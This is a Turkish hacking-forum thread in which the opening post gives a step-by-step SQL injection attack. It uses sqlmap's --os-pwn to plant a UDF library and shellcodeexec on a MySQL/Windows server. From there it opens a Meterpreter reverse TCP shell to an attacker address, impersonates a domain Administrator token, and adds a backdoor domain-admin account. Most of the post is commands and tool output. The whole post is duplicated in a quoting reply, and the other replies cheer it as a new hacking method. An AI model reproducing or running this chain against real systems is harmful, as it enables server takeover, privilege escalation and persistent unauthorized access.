İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

/// SQL Injection ile admin olmak ///

02-02-2014 18:59
#1
Köstebek-02 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
05/2008
Nereden:
Köstebek
Mesajlar:
15.654
Teşekkür (Etti):
4721
Teşekkür (Aldı):
9164
Konular:
3891
Ticaret:
(0) %
Sql Injection saldırıları genellikle veri tabanı sistemlerinden bilgi çalmak için gerçekleştirilmektedir. Veri çalma saldırıları dışında, hedef sistemin kullandığı veri tabanı sisteminin çalıştığı sunucuda komut çalıştırma saldırılarıda yapılabilmektedir.

www.TurkHackTeam.Net

Sql Injection ile komut çalıştırma saldırıları dendiğinde ilk akla gelen, SQL server’ın xp_cmdshell metodudur. Bu konu ile ilgili BGA tarafından hazırlanan dökümana aşağıda ki linkten ulaşabilirsiniz. Bu dökümanda MySQL ve PostgreSQL sistemlerine yapılan saldırılar ele alınmıştır.

MySQL ve PostgreSQL veri tabanı sistemleri, “shared libraries” desteği vermektedirler. Shared Libraries için kullanıcıların kendi tanımladıkları veri tabanı fonksiyonlarının bulunduğu kütüphaneler diyebiliriz. Eğer bu kütüphanelerin binary halleri, hedef veri tabanı sisteminin “shared libraries” tanımak için belirttiği dizine yerleştirilebilirse, özelleştirilmiş bu fonksiyonlar veri tabanı sistemine dahil edilebilir.

– sys_eval(cmd): Çalışan komutun çıktısı olarak standart çıktıyı döndürür.
– sys_exec(cmd): Çalışan komutun çıktısı olarak durumunu döndürür.

Kullanıcı taraflı tanımlanmış olan bu iki metod’un bulunduğu kütüphane, hedef veri tabanı sistemine dahil edilebilirse. Ardından hedef işletim sistemi üzerinde komut çalıştırılabilmektedir.

www.TurkHackTeam.Net


Bu kütüphanelerin kaynak kodlarını görmek için, işletim sistemi ve mimariye göre sınıflandırılmış olan sqlmap’in github kaynağına göz atabilirsiniz.




https://github.com/sqlmapproject/udfhack

Hedef işletim sisteminde komut çalıştırabiliyor olmak, hedef sisteme zararlı yazılım yükleme işleminide beraberinde getirmektedir. Sqlmap aracı, hedef sistemi meterpreter ajanı ile ele geçirmek üzere kullanılabilmektedir. Örnekte bu saldırı ele alınmıştır.


www.TurkHackTeam.Net

I. Adım = Hedef sistemdeki SQL Injection açığlığının tespit edilmesi


root@bt:/sqlmap# python sqlmap.py -u "http://pentest.hack2net.com/sqli-test.aspx?bgatestID=684"

Hedef sistemde bulunan SQL Injection zafiyeti ile 3 türde saldırı yapılabilmektedir.
---
Place: GET
Parameter: bgatestID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns

Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
---


www.TurkHackTeam.Net


II. Adım: Hedef sistemesql injection kullanarak meterpreter ajanı yüklenmesi( --os-pwn parametresi)

root@bt:/sqlmap# python sqlmap.py -u "http://pentest.hack2net.com/sqli-test.aspx?bgatestID=1" --os-pwn

Hedef sistem hakkında bilgilerin girilmesi.

[13:29:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.
back-end DBMS: MySQL 5.0
[1] TCP: ****sploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1

www.TurkHackTeam.Net


[13:30:14] [INFO] testing if current user is DBA
[13:30:14] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2


Hedef sistemde C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/ dizini altına kendi kütüphanemiz yüklenmiştir. Bu kütüphane içinde komut çalıştırabilen 2 adet metod tanımlıdır.


[13:30:23] [INFO] creating UDF 'sys_bineval' from the UDF binary file.
[13:30:23] [INFO] creating UDF 'sys_exec' from the UDF binary file.
do you want confirmation that the file 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/libsmtqp.dll' has been successfully written on the back-end DBMS file system? [Y/n] Y

Hedef sisteme kütüphanelerin eklenmesi başarıyla gerçekleştirilmiştir. Şimdi ise hedefe gönderilecek meterpreter ajanının hangi teknik ile çalıştırılacağı seçilecektir.

Örnekte 2. şık ile hedef sistemin diskine .exe dosyası eklenmesini tercih edilmiştir. 1.şık ise meterpreter ajanının direk memory üzerinde çalışması yöntemidir.


www.TurkHackTeam.Net

[13:30:52] [INFO] the file has been successfully written and its size is 11264 bytes, same size as the local file '/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll'
[13:30:53] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[13:30:53] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the ****sploit shellcode on the back-end database underlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Via shellcodeexec (file system way, preferred on 64-bit systems)
> 2


www.TurkHackTeam.Net

Hedef işletim sisteminde çalışacak ajanın merkez ile (saldırgan ile) hangi teknik üzerinden iletişimde bulunacağının tercihi yapılmıştır.
Hedefin NAT arkasında bir sistem olma ihtimalinden ötürü Reverse TCP tekniği seçilmiştir. Ardından ise Reverse TCP tekniği ile hangi ip adresinin hangi portuna bağlantının kurulacağı gibi bilgiler girilmektedir.


[13:31:16] [INFO] creating ****sploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [11.22.33.44] 11.22.33.44
which local port number do you want to use? [10991] 80
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1


www.TurkHackTeam.Net

Hedef sistemde C:/Windows/Temp/shellcodeexec.x32.exe dizinine meterpreter ajanı SQL Injection saldırısı ile yerleştirilmiştir.

[13:31:58] [INFO] creation in progress ........... done
[13:32:09] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe'
[13:32:10] [INFO] adjusting time delay to 1 second due to good response times
do you want confirmation that the file 'C:/Windows/Temp/shellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n]

“Y”es butonu ile hedef yerleştirilen meterpreter ajanı çalıştırılmıştır. ve hedef veri tabanı sisteminin üzerinde çalıştığı işletim sistemi NT AUTHORITY\SYSTEM yetkileri ile ele geçirilmiştir.



www.TurkHackTeam.Net

Domain Admin Haklarına Geçiş

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => process
LPORT => 80
LHOST => 11.22.33.44
[*] Started reverse handler on 11.22.33.44:80
[*] Starting the payload handler...
[13:32:48] [INFO] running ****sploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (752128 bytes) to 5.5.5.5
[*] Meterpreter session 1 opened (11.22.33.44:80 -> 5.5.5.5:52546) at 2012-08-21
meterpreter > success.
meterpreter > Loading extension incognito...success.
meterpreter > Computer : BGATEST123
OS : Windows 2008
Architecture : x64 (Current Process is 64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter >

meterpreter > impersonate_token TEST_DOMAIN123\\Administrator
[+] Delegation token available
[+] Successfully impersonated user TEST_DOMAIN123\Administrator
meterpreter > getuid
Server username: TEST_DOMAIN123\Administrator
meterpreter > shell
Process 9006 created.
Channel 1 created.
Microsoft Windows Server 2008 [Version 7.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> whoami
TEST_DOMAIN123\administrator

C:\WINDOWS\system32> net user bgatest bGa_pass123 /add /TEST_DOMAIN123
The command completed successfully.

C:\WINDOWS\system32> net group "TEST_DOMAIN123 Admins" bgatest /add /TEST_DOMAIN123
The command completed successfully.

02-02-2014 19:21
#2
Matrix24 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2012
Nereden:
istanbul
Mesajlar:
2.694
Teşekkür (Etti):
305
Teşekkür (Aldı):
340
Konular:
256
Ticaret:
(0) %
saol eline sağlık
Köstebek-02 Teşekkür etti.
02-02-2014 19:24
#3
ALcatraz' - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2013
Nereden:
İstanbul
Mesajlar:
4.269
Teşekkür (Etti):
968
Teşekkür (Aldı):
1755
Konular:
1022
Ticaret:
(0) %
Alıntı:
shadow-mavi´isimli üyeden Alıntı Mesajı göster
Sql Injection saldırıları genellikle veri tabanı sistemlerinden bilgi çalmak için gerçekleştirilmektedir. Veri çalma saldırıları dışında, hedef sistemin kullandığı veri tabanı sisteminin çalıştığı sunucuda komut çalıştırma saldırılarıda yapılabilmektedir.

www.TurkHackTeam.Net

Sql Injection ile komut çalıştırma saldırıları dendiğinde ilk akla gelen, SQL server’ın xp_cmdshell metodudur. Bu konu ile ilgili BGA tarafından hazırlanan dökümana aşağıda ki linkten ulaşabilirsiniz. Bu dökümanda MySQL ve PostgreSQL sistemlerine yapılan saldırılar ele alınmıştır.

MySQL ve PostgreSQL veri tabanı sistemleri, “shared libraries” desteği vermektedirler. Shared Libraries için kullanıcıların kendi tanımladıkları veri tabanı fonksiyonlarının bulunduğu kütüphaneler diyebiliriz. Eğer bu kütüphanelerin binary halleri, hedef veri tabanı sisteminin “shared libraries” tanımak için belirttiği dizine yerleştirilebilirse, özelleştirilmiş bu fonksiyonlar veri tabanı sistemine dahil edilebilir.

– sys_eval(cmd): Çalışan komutun çıktısı olarak standart çıktıyı döndürür.
– sys_exec(cmd): Çalışan komutun çıktısı olarak durumunu döndürür.

Kullanıcı taraflı tanımlanmış olan bu iki metod’un bulunduğu kütüphane, hedef veri tabanı sistemine dahil edilebilirse. Ardından hedef işletim sistemi üzerinde komut çalıştırılabilmektedir.

www.TurkHackTeam.Net


Bu kütüphanelerin kaynak kodlarını görmek için, işletim sistemi ve mimariye göre sınıflandırılmış olan sqlmap’in github kaynağına göz atabilirsiniz.




https://github.com/sqlmapproject/udfhack

Hedef işletim sisteminde komut çalıştırabiliyor olmak, hedef sisteme zararlı yazılım yükleme işleminide beraberinde getirmektedir. Sqlmap aracı, hedef sistemi meterpreter ajanı ile ele geçirmek üzere kullanılabilmektedir. Örnekte bu saldırı ele alınmıştır.


www.TurkHackTeam.Net

I. Adım = Hedef sistemdeki SQL Injection açığlığının tespit edilmesi


root@bt:/sqlmap# python sqlmap.py -u "http://pentest.hack2net.com/sqli-test.aspx?bgatestID=684"

Hedef sistemde bulunan SQL Injection zafiyeti ile 3 türde saldırı yapılabilmektedir.
---
Place: GET
Parameter: bgatestID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns

Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
---


www.TurkHackTeam.Net


II. Adım: Hedef sistemesql injection kullanarak meterpreter ajanı yüklenmesi( --os-pwn parametresi)

root@bt:/sqlmap# python sqlmap.py -u "http://pentest.hack2net.com/sqli-test.aspx?bgatestID=1" --os-pwn

Hedef sistem hakkında bilgilerin girilmesi.

[13:29:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.
back-end DBMS: MySQL 5.0
[1] TCP: ****sploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1

www.TurkHackTeam.Net


[13:30:14] [INFO] testing if current user is DBA
[13:30:14] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2


Hedef sistemde C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/ dizini altına kendi kütüphanemiz yüklenmiştir. Bu kütüphane içinde komut çalıştırabilen 2 adet metod tanımlıdır.


[13:30:23] [INFO] creating UDF 'sys_bineval' from the UDF binary file.
[13:30:23] [INFO] creating UDF 'sys_exec' from the UDF binary file.
do you want confirmation that the file 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/libsmtqp.dll' has been successfully written on the back-end DBMS file system? [Y/n] Y

Hedef sisteme kütüphanelerin eklenmesi başarıyla gerçekleştirilmiştir. Şimdi ise hedefe gönderilecek meterpreter ajanının hangi teknik ile çalıştırılacağı seçilecektir.

Örnekte 2. şık ile hedef sistemin diskine .exe dosyası eklenmesini tercih edilmiştir. 1.şık ise meterpreter ajanının direk memory üzerinde çalışması yöntemidir.


www.TurkHackTeam.Net

[13:30:52] [INFO] the file has been successfully written and its size is 11264 bytes, same size as the local file '/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll'
[13:30:53] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[13:30:53] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the ****sploit shellcode on the back-end database underlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Via shellcodeexec (file system way, preferred on 64-bit systems)
> 2


www.TurkHackTeam.Net

Hedef işletim sisteminde çalışacak ajanın merkez ile (saldırgan ile) hangi teknik üzerinden iletişimde bulunacağının tercihi yapılmıştır.
Hedefin NAT arkasında bir sistem olma ihtimalinden ötürü Reverse TCP tekniği seçilmiştir. Ardından ise Reverse TCP tekniği ile hangi ip adresinin hangi portuna bağlantının kurulacağı gibi bilgiler girilmektedir.


[13:31:16] [INFO] creating ****sploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [11.22.33.44] 11.22.33.44
which local port number do you want to use? [10991] 80
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1


www.TurkHackTeam.Net

Hedef sistemde C:/Windows/Temp/shellcodeexec.x32.exe dizinine meterpreter ajanı SQL Injection saldırısı ile yerleştirilmiştir.

[13:31:58] [INFO] creation in progress ........... done
[13:32:09] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe'
[13:32:10] [INFO] adjusting time delay to 1 second due to good response times
do you want confirmation that the file 'C:/Windows/Temp/shellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n]

“Y”es butonu ile hedef yerleştirilen meterpreter ajanı çalıştırılmıştır. ve hedef veri tabanı sisteminin üzerinde çalıştığı işletim sistemi NT AUTHORITY\SYSTEM yetkileri ile ele geçirilmiştir.



www.TurkHackTeam.Net

Domain Admin Haklarına Geçiş

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => process
LPORT => 80
LHOST => 11.22.33.44
[*] Started reverse handler on 11.22.33.44:80
[*] Starting the payload handler...
[13:32:48] [INFO] running ****sploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (752128 bytes) to 5.5.5.5
[*] Meterpreter session 1 opened (11.22.33.44:80 -> 5.5.5.5:52546) at 2012-08-21
meterpreter > success.
meterpreter > Loading extension incognito...success.
meterpreter > Computer : BGATEST123
OS : Windows 2008
Architecture : x64 (Current Process is 64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter >

meterpreter > impersonate_token TEST_DOMAIN123\\Administrator
[+] Delegation token available
[+] Successfully impersonated user TEST_DOMAIN123\Administrator
meterpreter > getuid
Server username: TEST_DOMAIN123\Administrator
meterpreter > shell
Process 9006 created.
Channel 1 created.
Microsoft Windows Server 2008 [Version 7.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> whoami
TEST_DOMAIN123\administrator

C:\WINDOWS\system32> net user bgatest bGa_pass123 /add /TEST_DOMAIN123
The command completed successfully.

C:\WINDOWS\system32> net group "TEST_DOMAIN123 Admins" bgatest /add /TEST_DOMAIN123
The command completed successfully.
Beni tahrik ediyor abi SQL makaleleri , ilk defa duyduğum + araştıracağım bir makale olmuş ellerine sağlık
Kullanıcı İmzası
En çok ne zoruma gidiyor biliyor musun? "Ülkem" diye kaydetmiştin beni telefonuna. Kalbimi parçalara ayırdın, hani vatan bölünmezdi?

Yokluğun bilinç altımdayken , varlığın kimin altında merak ediyorum.
Köstebek-02 Teşekkür etti.
03-02-2014 22:26
#4
IKANTUTAR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2013
Nereden:
fransa
Mesajlar:
1.199
Teşekkür (Etti):
352
Teşekkür (Aldı):
176
Konular:
142
Ticaret:
(0) %
eline saglık üsdat
Köstebek-02 Teşekkür etti.
04-02-2014 10:43
#5
xxHxxHxx - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2013
Mesajlar:
1.225
Teşekkür (Etti):
156
Teşekkür (Aldı):
135
Konular:
120
Ticaret:
(0) %
Ellerine sağlık
Kullanıcı İmzası
Ben bir Türk'üm. Dinim, cinsim uludur.
Köstebek-02 Teşekkür etti.
04-02-2014 23:39
#6
IIKeSeRII - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Nereden:
İstanbul
Mesajlar:
341
Teşekkür (Etti):
10
Teşekkür (Aldı):
13
Konular:
10
Ticaret:
(0) %
"Sql" kelimesini duyunca kendimden geçiyorum.
Emeğine sağlık.
Kullanıcı İmzası
Sql İnjection= %35

Sanal da Bunları Yapabiliyorsak;
Gerçekte Neler Yapabiliriz Siz Düşünün..



█║▌│█│║▌║││█║▌║▌║

Tüm Hakları Saklıdır © 2014


Köstebek-02 Teşekkür etti.
05-02-2014 00:02
#7
CaDaBRa - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2012
Nereden:
malatya
Mesajlar:
2.141
Teşekkür (Etti):
179
Teşekkür (Aldı):
125
Konular:
269
Ticaret:
(0) %
vaybe bize bir hack yöntemi daha açıldı eyw. abi saol paylaşımına
Köstebek-02 Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı